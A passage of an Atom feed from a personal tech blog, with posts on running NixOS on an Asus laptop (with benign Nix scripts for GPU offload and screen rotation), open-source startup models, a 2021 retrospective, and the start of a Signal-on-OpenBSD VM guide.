src=&#34;https://cdn.icyphox.sh/z-Y1R.jpg&#34; alt=&#34;&#34; /&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;The entire package weighs in at about 1.3 kilograms, which is just as&#xA;much as my HP Envy. For how well it&amp;rsquo;s built, I&amp;rsquo;m not complaining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, here&amp;rsquo;s the full spec list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ryzen 9 5900HS, 8 cores &amp;amp; 16 threads&lt;/li&gt;&#xA;&lt;li&gt;32 GB LPDDR4X RAM @ 4266MHz&lt;/li&gt;&#xA;&lt;li&gt;Nvidia GeForce GTX 1650 Max-Q, 4 GB GDDR6&lt;/li&gt;&#xA;&lt;li&gt;1 TB SSD&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;software&#34;&gt;software&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Installing NixOS was straightforward. Basically everything works out of&#xA;the box. I&amp;rsquo;d have liked to run OpenBSD on it, but I unfortunately&#xA;require Linux for work. NixOS, while I understand nothing of Nix (the&#xA;language), works well enough. Being able to configure your entire system&#xA;from one single place is quite nice. Overall, it&amp;rsquo;s a lot more cohesive&#xA;than other Linux systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Nvidia GPU is handled surprisingly well. Looks like Linux has&#xA;improved a lot in this regard. &amp;ldquo;Offload mode&amp;rdquo; is especially neat&amp;mdash;you&#xA;can selectively &amp;ldquo;offload&amp;rdquo; certain tasks (like running Steam) to the GPU,&#xA;and otherwise have it suspended. Here&amp;rsquo;s how I do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-nix&#34;&gt;{ pkgs, ... }:&#xA;&#xA;pkgs.writeShellScriptBin &amp;quot;nvidia-offload&amp;quot;&#xA; &#39;&#39;&#xA; export __NV_PRIME_RENDER_OFFLOAD=1&#xA; export __NV_PRIME_RENDER_OFFLOAD_PROVIDER=NVIDIA-G0&#xA; export __GLX_VENDOR_LIBRARY_NAME=nvidia&#xA; export __VK_LAYER_NV_optimus=NVIDIA_only&#xA; exec -a &amp;quot;$0&amp;quot; &amp;quot;$@&amp;quot;&#xA; &#39;&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now simply run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ nvidia-offload steam&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to have Steam run on the GPU. Use the &lt;code&gt;nvidia-smi&lt;/code&gt; tool to inspect&#xA;processes currently using the GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The laptop has an accelerometer to detect when it&amp;rsquo;s in tablet mode, and&#xA;invert the display accordingly. Unfortunatly, I couldn&amp;rsquo;t figure out how&#xA;to get it to work in X11/cwm. Instead, I wrote a handy script to rotate&#xA;the display and the touch input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-nix&#34;&gt;{ pkgs, ... }:&#xA;&#xA;let&#xA; xrandr = &amp;quot;${pkgs.xorg.xrandr}/bin/xrandr&amp;quot;;&#xA; xinput = &amp;quot;${pkgs.xorg.xinput}/bin/xinput&amp;quot;;&#xA;in&#xA;pkgs.writeShellScriptBin &amp;quot;invert&amp;quot;&#xA; &#39;&#39;&#xA; orientation=&amp;quot;$(${xrandr} --query --verbose | grep eDP | cut -d &#39; &#39; -f 6)&amp;quot;&#xA; if [[ &amp;quot;$orientation&amp;quot; == &amp;quot;normal&amp;quot; ]];&#xA; then&#xA; echo &amp;quot;turning screen upside down...&amp;quot;&#xA; ${xrandr} -o inverted&#xA; ${xinput} set-prop &#39;ELAN9008:00 04F3:2C82&#39; &#39;Coordinate Transformation Matrix&#39; -1 0 1 0 -1 1 0 0 1&#xA; ${xinput} set-prop &#39;ELAN9008:00 04F3:2C82 Stylus Pen (0)&#39; &#39;Coordinate Transformation Matrix&#39; -1 0 1 0 -1 1 0 0 1&#xA; ${xinput} set-prop &#39;ELAN9008:00 04F3:2C82 Stylus Eraser (0)&#39; &#39;Coordinate Transformation Matrix&#39; -1 0 1 0 -1 1 0 0 1&#xA; else&#xA; echo &amp;quot;reverting back to normal...&amp;quot;&#xA; ${xrandr} -o normal&#xA; ${xinput} set-prop &#39;ELAN9008:00 04F3:2C82&#39; &#39;Coordinate Transformation Matrix&#39; 1 0 0 0 1 0 0 0 1&#xA; ${xinput} set-prop &#39;ELAN9008:00 04F3:2C82 Stylus Pen (0)&#39; &#39;Coordinate Transformation Matrix&#39; 1 0 0 0 1 0 0 0 1&#xA; ${xinput} set-prop &#39;ELAN9008:00 04F3:2C82 Stylus Eraser (0)&#39; &#39;Coordinate Transformation Matrix&#39; 1 0 0 0 1 0 0 0 1&#xA; fi&#xA; &#39;&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, simply run &lt;code&gt;invert&lt;/code&gt; to toggle your current orientation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;▲ invert&#xA;turning screen upside down...&#xA;&#xA;▲ invert&#xA;reverting back to normal...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Battery life could be better, but with TLP/powertop + switching the CPU&#xA;governor to &lt;code&gt;powersave&lt;/code&gt; on battery, I get about 7 - 8 hours on light&#xA;workloads, and about 5 on heavy. I&amp;rsquo;m going to guess the 4K panel is to&#xA;blame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also worth mentioning is the &lt;a href=&#34;https://asus-linux.org&#34; rel=&#34;nofollow&#34;&gt;Asus Linux&lt;/a&gt;&#xA;project. They have some useful resources for running Linux on Asus&#xA;laptops, and &lt;a href=&#34;https://gitlab.com/asus-linux/asusctl&#34; rel=&#34;nofollow&#34;&gt;asusctl&lt;/a&gt; /&#xA;&lt;a href=&#34;https://gitlab.com/asus-linux/supergfxctl&#34; rel=&#34;nofollow&#34;&gt;supergfxctl&lt;/a&gt;&amp;mdash;two great&#xA;tools for managing power profiles, fan curves and the dGPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, I couldn&amp;rsquo;t be happier with this machine. It wasn&amp;rsquo;t cheap, but&#xA;it sure does check all the boxes and it&amp;rsquo;s incredibly future proof. As&#xA;for my trusty old HP Envy 13, I haven&amp;rsquo;t decided yet what to do with it.&#xA;It&amp;rsquo;ll most probably end up in my closet, enshrined under a layer of&#xA;clothes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find all the scripts mentioned in this post (and more!)&#xA;&lt;a href=&#34;https://github.com/icyphox/dotfiles/tree/master/nix&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Cloud (F)OSS is a good model</title>
<updated>2022-02-07T00:00:00Z</updated>
<id>tag:icyphox.sh/,2022-02-07:blog/cloud-foss</id>
<link href="https://icyphox.sh/blog/cloud-foss"></link>
<summary type="html">&lt;h2&gt;On building (mostly) open source startups&lt;/h2&gt;&#xA;&lt;p&gt;Of late, I&amp;rsquo;ve been thinking a lot about what makes a startup work, and I&#xA;think open sourcing your product&amp;mdash;or a good portion of it&amp;mdash;is a&#xA;great approach. To be clear, I&amp;rsquo;m only talking about SaaS platforms, and&#xA;not any other kind of product. Hence, I&amp;rsquo;m dubbing this as &amp;ldquo;Cloud FOSS&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The title of this post was initially &amp;ldquo;Cloud FOSS is the way&amp;rdquo;, but I&#xA;quickly realised that I know next to nothing about actually building&#xA;companies and I&amp;rsquo;m really just talking out of my rear end. Nevertheless&#xA;it&amp;rsquo;s still pretty fun to try and reason about why the open source model&#xA;is great for startups, so reason we shall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Broadly speaking, there are two kinds of &amp;ldquo;Cloud FOSS&amp;rdquo; companies:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the open source and cloud versions are identical, entirely free software (à la&#xA;&lt;a href=&#34;https://sourcehut.org&#34; rel=&#34;nofollow&#34;&gt;sourcehut&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;the cloud version has exclusive &amp;ldquo;premium&amp;rdquo; features that aren&amp;rsquo;t present&#xA;in the open source version&amp;mdash;a.k.a the open core model; it seems to&#xA;be gaining a lot of popularity in recent times with the likes of&#xA;Gitlab etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let&amp;rsquo;s dissect each approach and see what drives them.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-all-foss-absolutist-model&#34;&gt;the all-FOSS absolutist model&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As mentioned above, sourcehut is a great&amp;mdash;if not the only&amp;mdash;example&#xA;of a company built this way. Unless of course, I&amp;rsquo;m gravely mistaken&#xA;(wouldn&amp;rsquo;t be the first time!), and you know of another, or are building&#xA;one yourself&amp;mdash;please &lt;a href=&#34;mailto:x@icyphox.sh&#34; rel=&#34;nofollow&#34;&gt;email me&lt;/a&gt;; I&amp;rsquo;ll be happy to&#xA;mention it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I was indeed mistaken. Here are a few companies built&#xA;similarly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://jmp.chat/&#34; rel=&#34;nofollow&#34;&gt;jmp.chat&lt;/a&gt;&amp;mdash;free-as-in-freedom US/Canadian phone&#xA;numbers&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://frappe.io/&#34; rel=&#34;nofollow&#34;&gt;Frappe&lt;/a&gt;&amp;mdash;Indian company building a suite of&#xA;free software products&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://plausible.io&#34; rel=&#34;nofollow&#34;&gt;Plausible Analytics&lt;/a&gt;&amp;mdash;free software analytics&#xA;platform. The self-hosted version has a less frequent (LTS) release&#xA;schedule.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For those unaware, sourcehut is an entirely free software&#xA;company/startup that&amp;rsquo;s building a software development platform; a suite&#xA;of tools and services like git/hg hosting, CI, mailing lists, issue&#xA;tracking etc. All of these can be self-hosted, with &lt;a href=&#34;https://man.sr.ht/installation.md&#34; rel=&#34;nofollow&#34;&gt;plenty of&#xA;docs&lt;/a&gt; to get started doing so. Or,&#xA;you can of course, pay for the hosted service at &lt;a href=&#34;https://sr.ht&#34; rel=&#34;nofollow&#34;&gt;sr.ht&lt;/a&gt;,&#xA;their flagship instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted, this one&amp;rsquo;s probably quite hard to pull off, especially if you&amp;rsquo;re VC&#xA;backed or have investors of any kind. When your product is free&#xA;software, you can&amp;rsquo;t really bake in analytics and other creepy&#xA;user-tracking shit that&amp;rsquo;s common these days; what pages perform better,&#xA;what buttons do users click more often, the likes. And naturally, you&#xA;don&amp;rsquo;t really have metrics to show your investors that your latest&#xA;feature du jour is doing great (or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankfully for us, sourcehut is completely bootstrapped. They&amp;rsquo;ve&#xA;&lt;a href=&#34;https://sourcehut.org/blog/2022-01-09-how-does-our-business-work/&#34; rel=&#34;nofollow&#34;&gt;written&#xA;about&lt;/a&gt;&#xA;their business model, and it&amp;rsquo;s beautifully simple: they make money from&#xA;users subscribing to their service&amp;mdash;the hosted version of the&#xA;sourcehut software&amp;mdash;and from other free software consultation gigs.&#xA;That&amp;rsquo;s it. And they&amp;rsquo;re quite profitable. Very cool sourcehut.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-less-absolutist-open-core-model&#34;&gt;the less absolutist open core model&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The open core model, according to Wikipedia&amp;rsquo;s definition:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;primarily involves offering a &amp;ldquo;core&amp;rdquo; or feature-limited version of a&#xA;software product as free and open-source software, while offering&#xA;&amp;ldquo;commercial&amp;rdquo; versions or add-ons as proprietary software.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Typically in SaaS offerings, the &amp;ldquo;commercial&amp;rdquo; version is a hosted&#xA;version of the open source software, &lt;em&gt;plus&lt;/em&gt; the usual suspects like&#xA;analytics, project management, user management, and a seat count for&#xA;different subscription tiers. Some startups may simply continue to&#xA;operate this way, with feature parity between the open source and cloud&#xA;versions (minus the meta &amp;ldquo;features&amp;rdquo;); however, this may not always be&#xA;the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oftentimes, in accordance with the definition above, the open source&#xA;version may be &lt;em&gt;feature-limited&lt;/em&gt;, with some parts of the core feature&#xA;set only available on the cloud version. In most cases, this probably&#xA;doesn&amp;rsquo;t matter to the average self-hoster, since the paywalled features&#xA;will most likely be irrelevant to them&amp;mdash;usually catering to larger&#xA;deployments (support for say, CockroachDB), or enterprise-level&#xA;deployments (Active Directory support, SSO), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The business model is quite straightforward&amp;mdash;get initial traction via&#xA;the self-hosted open source software, while building out your cloud&#xA;offering. The community built around the self-hosted software are your&#xA;initial pool of potential paying customers. Generally, these are either&#xA;early-stage startups (seed to series A) who don&amp;rsquo;t have a large enough&#xA;team to manage additional infrastructure, or large enterprises who are&#xA;happy to pay for well, the enterprise features. These enterprise deals&#xA;may even transition into large on-prem contracts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note about most open core projects is they&amp;rsquo;ll most likely&#xA;enforce a CLA or a Contributor License Agreement. This usually says&#xA;something to the effect of &amp;ldquo;while you own the copyright to your code,&#xA;you grant us the rights to make money off it, or even relicense it&#xA;should we wish to do so&amp;rdquo;. It&amp;rsquo;s &lt;a href=&#34;https://drewdevault.com/2018/10/05/Dont-sign-a-CLA.html&#34; rel=&#34;nofollow&#34;&gt;probably not a good&#xA;idea&lt;/a&gt; to sign&#xA;one.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-cloud-foss-works&#34;&gt;why cloud FOSS works&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Cloud FOSS as a basis for building a company probably works because of a&#xA;bunch of reasons. As a startup, getting an initial foothold in the&#xA;market can be hard, and offering a fully open source version of your&#xA;platform can simplify that a whole lot. Setup a GitHub organization, do&#xA;a Show HN and Bob&amp;rsquo;s your uncle. Obviously, it isn&amp;rsquo;t &lt;em&gt;that&lt;/em&gt; easy, but you&#xA;get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having an initial userbase from open source can be very useful. You&#xA;essentially get free insight into what features work and what don&amp;rsquo;t,&#xA;and what features your users want. You also get bug reports, issues from&#xA;various deployment scenarios, environments, operating systems, etc. A&#xA;goldmine of information to help drive product development decisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, having a community built around your product helps too. High&#xA;quality contributors (sometimes), an audience for PR events, the ability&#xA;to conduct user surveys and most importantly, a hiring pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that concludes my ideas on why Cloud FOSS is a good way to build a&#xA;startup. Again, I must reiterate that I literally have no idea what I&amp;rsquo;m&#xA;talking about and whatever I posit is merely a result of &amp;ldquo;Oh I&amp;rsquo;ve seen&#xA;it work this way before&amp;rdquo;. I&amp;rsquo;m happy to hear what you think.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This post was inspired by a conversation with&#xA;&lt;a href=&#34;https://prithu.dev&#34; rel=&#34;nofollow&#34;&gt;Prithu&lt;/a&gt;.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>2021 in review</title>
<updated>2022-01-10T00:00:00Z</updated>
<id>tag:icyphox.sh/,2022-01-10:blog/2021-in-review</id>
<link href="https://icyphox.sh/blog/2021-in-review"></link>
<summary type="html">&lt;h2&gt;The post-year ramble is here, slightly late this time&lt;/h2&gt;&#xA;&lt;p&gt;The last year was quite eventful to say the least, and I&amp;rsquo;d been putting&#xA;off on writing this retrospective simply because of the sheer number of&#xA;things that happened/I did, of varying levels of importance&amp;mdash;both to&#xA;you as a reader, and me as&amp;hellip; well, the one who experienced them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ll try to highlight the major ones here&amp;mdash;they&amp;rsquo;re also the ones I&amp;rsquo;m&#xA;okay to discuss publicly, so there&amp;rsquo;s that. As for the rest: they&amp;rsquo;ll&#xA;serve as conversation fuel for 2022.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;i-graduated-barely&#34;&gt;I graduated&amp;hellip; barely&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After 4 long years, mostly &amp;ldquo;learning&amp;rdquo; about things that haven&amp;rsquo;t been&#xA;used since like, my mom was born (I&amp;rsquo;m looking at you Intel 8086), I am&#xA;now a Bachelor of Technology in Computer Science and Engineering. I say&#xA;barely because I actually did pretty terribly. I&amp;rsquo;m still mildly&#xA;surprised that given my GPA, the degree certificate classifies it as a&#xA;&amp;ldquo;First Class&amp;rdquo;. I think they just felt sorry for us lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was it a waste of time? A lot of the coursework, sadly, was. But my time&#xA;in college&amp;mdash;however little&amp;mdash;was actually quite fun. One thing&amp;rsquo;s for&#xA;sure: I can&amp;rsquo;t rewind time to see what would&amp;rsquo;ve happened had I &lt;em&gt;not&lt;/em&gt; done&#xA;the degree; but now I&amp;rsquo;ve done it, and here we are. Wherever that is.&#xA;Maybe it helped, maybe it didn&amp;rsquo;t. Oh well.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;my-time-at-deepsource&#34;&gt;my time at DeepSource&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This time last year (January 2021), I joined&#xA;&lt;a href=&#34;https://deepsource.io&#34; rel=&#34;nofollow&#34;&gt;DeepSource&lt;/a&gt; as a Security Engineer (SRE on&#xA;paper). Suffice to say, I had an excellent time there, working with some&#xA;equally excellent people. I got to touch a whole bunch of systems:&#xA;ranging from observability pipelines, mesh networks in Kubernetes,&#xA;cloud-native security, and some more Kubernetes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and here are a few pictures from our trip to the Maldives.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/FX~bI.jpg&#34; alt=&#34;maldives 1&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/DMHDG.jpg&#34; alt=&#34;maldives 2&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In December 2021, I decided to leave DeepSource in favor of other&#xA;opportunities. I must say, I will deeply miss my equity when DeepSource&#xA;eventually becomes a unicorn&amp;mdash;and I&amp;rsquo;m confident they will! As for the&#xA;other opportunities, I will write about that in a future post. This is a&#xA;&lt;em&gt;retrospective&lt;/em&gt; after all.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;projects-and-hacks&#34;&gt;projects and hacks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Probably my biggest and most fun project this year was&#xA;&lt;a href=&#34;https://forlater.email&#34; rel=&#34;nofollow&#34;&gt;forlater.email&lt;/a&gt;. Both the site, and its&#xA;&lt;a href=&#34;/blog/building-forlater&#34;&gt;technical breakdown&lt;/a&gt; frontpaged on Hacker News&#xA;and was pretty well received. In hindsight, I should&amp;rsquo;ve included some&#xA;kind of payment model, but at the same time, being flexible enough to&#xA;accomodate those that can&amp;rsquo;t afford to pay. And the code is shit. I&amp;rsquo;ll&#xA;probably rewrite it. Eventually.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My attempt at running &lt;a href=&#34;/blog/k8s-at-home&#34;&gt;Kubernetes at home&lt;/a&gt;, while&#xA;being super fun, failed miserably. I learnt a ton from it however, and I&#xA;have no regrets. Setting up a Wireguard mesh manually, bootstrapping a&#xA;cluster using &lt;code&gt;kubeadm&lt;/code&gt;, multi-arch considerations, etc. I do sorely&#xA;miss the declarative-ness of it all, I must say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides these, I don&amp;rsquo;t think I spent any serious amount of time on&#xA;anything else. Other than, of course, work projects.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;this-site&#34;&gt;this site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As is tradition, let&amp;rsquo;s talk about this site and the blog. There have&#xA;been some minor visual changes but I think it&amp;rsquo;s largely stayed the same.&#xA;I&amp;rsquo;ve found the aesthetic I like&amp;mdash;at least for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve re-added the &lt;a href=&#34;/reading&#34;&gt;reading&lt;/a&gt; page to publicly track books that&#xA;I&amp;rsquo;ve read. More on that in a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for blog posts this year, let&amp;rsquo;s see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ grep &#39;date: 2021&#39; pages/blog/*.md | wc -l&#xA; 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only 13! That&amp;rsquo;s about 1 a month, and the lowest count per year so far.&#xA;I&amp;rsquo;ll attribute this to me dedicating more time to work, i.e. I&amp;rsquo;ve become&#xA;a wagie cagie. Make of that what you will. That said, I think the&#xA;quality of posts has considerably increased. I think.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;other-stuff&#34;&gt;other stuff&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I couldn&amp;rsquo;t think of an appropriate heading for this section so &amp;ldquo;other&#xA;stuff&amp;rdquo; it is: a catch-all category for general life-ey things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read a grand-total of 9 books last year&amp;mdash;not particularly good. I&amp;rsquo;d&#xA;like to at least double that this year. Some of my favourite reads were:&#xA;&lt;em&gt;Dune&lt;/em&gt;, &lt;em&gt;The Hero of Ages&lt;/em&gt;, &lt;em&gt;The Enemy&lt;/em&gt; and &lt;em&gt;Permanent Record&lt;/em&gt;. Big&#xA;thanks to &lt;a href=&#34;https://awalvie.me&#34; rel=&#34;nofollow&#34;&gt;Vishesh&lt;/a&gt; for &lt;em&gt;Dune&lt;/em&gt; and&#xA;&lt;a href=&#34;https://twitter.com/thebluefowl&#34; rel=&#34;nofollow&#34;&gt;Vishnu&lt;/a&gt; for &lt;em&gt;Permanent Record&lt;/em&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language learning took an unfortunate hit, with basically zero progress&#xA;in Russian. I did study it for a month or two in early 2021, but I won&amp;rsquo;t&#xA;count it for I&amp;rsquo;ve likely forgotten it all. I hope to restart where I&#xA;left off, this year&amp;mdash;hopefully with the help of my new &lt;a href=&#34;/blog/bujo&#34;&gt;productivity&#xA;hacks&lt;/a&gt; (which has been working wonders, by the way!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had roughly about 6 - 7 months of time to hit the gym, i.e. when the&#xA;gym wasn&amp;rsquo;t closed off, and I managed to get some swole on. As of this&#xA;writing, it&amp;rsquo;s the &amp;ldquo;third wave&amp;rdquo; of COVID-19 and the gym&amp;rsquo;s closed. Again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other somewhat big news: I switched to an iPhone 13 mini. This&#xA;probably warrants its own big post&amp;mdash;one full of copes and hopes. I&#xA;will have to mull over it a bit to fully articulate my thoughts. I have&#xA;a few other post ideas as well&amp;mdash;many that I planned on writing last&#xA;year but never got around to. I often consider writing commentary on&#xA;&lt;code&gt;$TECH_OUTRAGE_DU_JOUR&lt;/code&gt; but everything that I want to say has usually&#xA;already been said. I&amp;rsquo;m sure there&amp;rsquo;ll be plenty of stuff I can be the&#xA;&lt;em&gt;first&lt;/em&gt; to comment on in 2022.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And speaking of 2022&amp;hellip;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;2022-might-be-big&#34;&gt;2022 might be big&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This might be a big year for me, with some potentially huge life&#xA;updates. New job, new adventures, the works. I&amp;rsquo;m looking forward to it.&#xA;2021 was super eventful; 2022 just might top it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here&amp;rsquo;s a list of things I&amp;rsquo;m looking forward to this year:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Formula 1: New regulations! Williams back on top? Who knows?!&lt;/li&gt;&#xA;&lt;li&gt;New albums: Oceans Ate Alaska, I See Stars (one can hope!), Invent&#xA;Animate.&lt;/li&gt;&#xA;&lt;li&gt;Travel.&lt;/li&gt;&#xA;&lt;li&gt;Reading &lt;em&gt;The Wheel of Time&lt;/em&gt; series.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m going to close off this rambly post with a big thanks to everyone who&amp;rsquo;s&#xA;supporting forlater.email&amp;mdash;it made my whole last year. Maybe this year&#xA;too. And you just might see another micro-SaaS from me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ll see you soon.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;p&gt;If you&amp;rsquo;re in Bangalore and are looking for work, definitely&#xA;consider &lt;a href=&#34;https://careers.deepsource.io&#34; rel=&#34;nofollow&#34;&gt;applying to DeepSource&lt;/a&gt;!&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;There are hints&amp;hellip; in various places&amp;hellip; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;Sure, lol. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Signal Desktop on OpenBSD via vmm(4)</title>
<updated>2021-12-26T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-12-26:blog/signal-vmm</id>
<link href="https://icyphox.sh/blog/signal-vmm"></link>
<summary type="html">&lt;h2&gt;X11 forwarding to the rescue&lt;/h2&gt;&#xA;&lt;p&gt;Early this year, I completely switched over to Signal and I&amp;rsquo;m fortunate enough&#xA;to have everyone that I talk to switch over as well. I know I wrote what some&#xA;might view as a &lt;a href=&#34;/blog/signal&#34;&gt;hit piece on Signal&lt;/a&gt;, but I have immense respect&#xA;for the project and will continue to use it until an actually viable&#xA;alternative comes along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, their desktop application isn&amp;rsquo;t natively available for OpenBSD.&#xA;A solution that&amp;rsquo;s worked decently enough for me is to run it via X11 forwarding&#xA;on a Ubuntu VM running on &lt;a href=&#34;https://man.openbsd.org/vmm&#34; rel=&#34;nofollow&#34;&gt;vmm(4)&lt;/a&gt;&amp;mdash;OpenBSD&amp;rsquo;s&#xA;built-in hypervisor.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;setting-up-the-vm&#34;&gt;setting up the VM&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I recommend reading the &lt;a href=&#34;https://www.openbsd.org/faq/faq16.html&#34; rel=&#34;nofollow&#34;&gt;FAQ on&#xA;Virtualization&lt;/a&gt; first, but here&amp;rsquo;s a&#xA;quick overview. Note that I&amp;rsquo;ll be skipping the networking bits so I highly&#xA;recommend reading the FAQ to get your VM connected to the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a disk image for the VM to install onto.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ vmctl create -s 30G ubuntu.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m using the Ubuntu 18.04 LTS&#xA;&lt;a href=&#34;archive.ubuntu.com/ubuntu/dists/bionic/main/installer-amd64/current/images/netboot/mini.iso&#34; rel=&#34;nofollow&#34;&gt;mini.iso&lt;/a&gt;.&#xA;I ran into issues with the 20.04 LTS ISO, but I think you should be able 